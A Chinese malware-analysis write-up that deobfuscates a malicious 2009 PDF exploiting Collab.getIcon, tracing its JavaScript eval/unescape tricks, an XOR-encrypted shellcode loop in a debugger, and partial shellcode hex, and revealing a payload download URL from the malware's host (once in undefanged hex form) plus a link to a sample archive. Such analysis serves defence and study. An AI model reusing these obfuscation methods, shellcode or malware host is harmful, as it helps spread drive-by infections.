目标: PDF (Collab.getIcon) (Shellcode部分)
版本: PDF 1.1
来源: hxxp://igooddeal.com/cache/PDF.php?st=Firefox
工具: Redoce 2.023 / OllyDebug
语言: JavaScript
SAC#09003
www.sacour.cn 转载保留此行
(为防止代码被误执行,文中涉及的文件及代码将在文末最后给出下载连接)

文件信息:
文件: vxw.pdf
MD5 : CCA4CBFB515827893771B2C566C0602C
大小: 3,684 字节
时间: 2009-8-7 22:58:45

文件结构(有省略):
0◆%PDF-1.1
9◆1 0 obj
17◆<</Typ#65/A#63tion/S/GoTo/D[9 0 R /XYZ 0 504 1]>>
67◆endobj
74◆6 0 obj
…………
589◆stream
595◆[Compressed stream]
2574◆endstream
2585◆end of file

其中,偏移595(十进制)处就是恶意代码所在了,使用Redoce解压这个数据流。

一行行的看代码:
Ln1::  var csI=String,Zar=eval(csI.fromCharCode(101,118,97,108)),vNI=Zar(unescape("\un\e\s\c\a\p\e"));
此行定义变量,csl内容为String类。在String类被重定义过后,
csl.fromCharCode(101,118,97,108) 即是等于 String.fromCharCode(101,118,97,108)
(String.fromCharCode: 参阅http://www.w3schools.com/jsref/jsref_fromCharCode.asp, JavaScript fromCharCode() Method.)
即根据ASCII码返回字符,101=e;118=v;97=a;108=l。故Zar的最终值为eval("eval")即eval。
在eval被重定义过后,vNI的值实际应为:
eval(unescape("\un\e\s\c\a\p\e"))=eval("unescape")=unescape。

故需要记住以下三个被重定义的方法或类型:

String csl
eval Zar
unescape vNI


 

再一行,
 var rtL=" 118# 97# 114# 32# 100# 70# 79# 61# 117# 110# 101# 115# 99# 97# 112# 101# 44# 118# 120# 119# 61# 97# 112# 112# 46# 118# ……(代码过长省略) 59# 125".replace(/[a-z]/g,function (nqd){Zar(vNI("\u002e\u0072\u0065\u0070\u006c\u0061\u0063\u0065\u0028\u002f\u005b……(代码过长省略)\u0036\u0035\u0029\u003b"));}).split("# ");
主要的有5个部分。
先是var,定义一个变量,并在定义时给出它的值。
然后是.replace功能,.replace有两个参数,第一个参数是/[a-z]/g,这是一个正则表达式,代表的是字符“abcdefghijklmnopqrstuvwxyz”,即只要遇到这些字符就替换成后面的function (nqd){}返回值,把被重定义的方法还原,代码即为eval(unescape("\u002e.........");

那么这些字符到底是什么,还原代码可知:
.replace(/[A-Z]/g,function (nqd){return csI.fromCharCode((((nqd = nqd.charCodeAt(0)) & 223) - 52) % 26 + (nqd & 32) + 65);

原来又是一个替换功能,这回替换的是大写的A-Z。并且还对传入的nqd参数进行了如下操作:
nqd的第一位字符的ASCII(charCodeAt(0))与223逻辑和运算 ==>  0 & 223 = 0
然后减掉52  ==> 0-52=-52
除以26取余 ==> Mod(-52/26)=0
nqd与32的逻辑和运算 ==> 0 & 32=0
前两个运算结果与65相加 ==> 0+0+65=65='A'

原来是把字母全部换为'A',不过仔细一看,变量值中根本没有字母,所以这句是无效操作。

最后一个,.split("# "),这个是以"# "为标记把变量转为数组。

比如shuzu="12A34A56A78".split("A")的结果(Base=0)就是
shuzu=

Element Value
0 "12"
1 "34"
2 "56"
3 "78"

再如,alert(shuzu[3]);返回的即为字符"78"。

好吧,这儿rtL是一大堆数字组成的数组了,其实很容易看出来他们就是ASCII代码,我们也可以直接解决这些字符,不过还是继续看看他们的伎俩吧:
结尾一段:
Zar(vNI("\u0076\u0061\u0072\u0020\u0065\u0043\u0050\u0020\u003d\u0020\u0022\u0022\u002c\u0020\u0057\u004c\u0070\u003d\u0030\u003b\……(代码过长省略)u0065\u0043\u0050\u0029\u003b"));
易得:
var eCP = "", WLp=0;while(WLp<rtL.length){ eCP += csI.fromCharCode(rtL[WLp]); WLp++}Zar(eCP);
好吧,明显的看出来,他建立了一个字串变量eCP,数字变量WLp,并不断写入ASCII转回的字串,最后通过Eval来执行代码。

你可以直接修改代码,或者使用其他工具来输出结果,这儿我使用了Dev C++ 4.98模拟输出它的结果:
#include <stdio.h>
#include <stdlib.h>

int main(int argc, char *argv[])
{
   char rtL[65535]={118,97,114,32,100,70,79,61,117,110,101,115, \
  99,97,112,101,44,118,120, ……(代码过长省略)110,100,108,101,39,41,59,125};
  FILE *Ptr;
  Ptr = fopen("c:\\output.txt", "w");
  fprintf(Ptr, "%s\n", rtL);
  fclose(Ptr);
  system("%WINDIR%\\SYSTEM32\\EDIT.COM c:\\output.txt");
  system("PAUSE"); 
  return 0;
}

现在的问题很简单了,因为从EDIT.COM返回的数据我们已经能清楚看到ShellCode了。

ShellCode共计三段,每段独立可用,选取第一段使用Redoce生成EXE。

得到Malware.exe(见文末附件的Malware(Dangerous).txt),使用OD载入
0040500F    8033 EF         xor     byte ptr [ebx], 0EF
00405012    43              inc     ebx
00405013  ^ E2 FA           loopd   short 0040500F

可以看到他使用了简单的xor 0EF进行加密。继续调试,

DeleteFileA(GetSystemDirectoryA + "~.exe")

Stack ss:[0012FBE0]=4213798B (URLMON.URLDownloadToFileA)
eax=0040519C (MyOutPut.0040519C), ASCII "hxxp://igooddeal.com/load.php?a=a&st=Firefox&e=2"

一切都那么容易就被发觉了,那为什么不用软件直接解密呢?

输入密钥:0EF,解密,……没有看到URL?这是怎么回事?

00405008    5B              pop     ebx                               ;ebx=40501c
00405009    33C9            xor     ecx, ecx                      ;ecx=0
0040500B    66:B9 8001      mov     cx, 180                ;cx=180
0040500F    8033 EF         xor     byte ptr [ebx], 0EF  ;ebx处字符xor 0ef
00405012    43              inc     ebx                                 ;ebx++
00405013  ^ E2 FA           loopd   short 0040500F   ;循环180h次
00405015   /EB 05           jmp     short 0040501C
00405017   |E8 ECFFFFFF     call    00405008
0040501C  -\7F 8B           jg      short 00404FA9      ;解密自此开始

434343434343EB0F5B33C966B980018033EF43E2FAEB05E8ECF
FFFFF7F8B
自此开始解密数据,解密180h=384d,对应ASCII字节数为384d*2=768d。也就是到后面的+768个字节处停止,看看到哪儿……
4EDFEFEFEF64AFE3649FF342649FE76E03EFEBEFEF
6403B98761A1E1030711EFEFEF66AAEBB987771165E1071FEFEF
……
687474703A2F2F69676F6F646465616C2E636F6D2F6C6F61642E7068703F613D612673743D46697265666F7826653D32
^ offset: 768h, 相对于7f8b处。

看完之后惊呼上当,68 74 74 70,这个熟悉的记号,不就是http吗?原来作者玩了个心眼,最后的URL没有加密,所以如果要获得最终结果的话,只需要直接把\u还原即可。

样本及解密步骤相关在此下载:
(密码:safelab)(具体见ReadmeFirst.txt)http://cid-a6b213403dbd59af.skydrive.live.com/self.aspx/.Public/Sample/malive09003Document.rar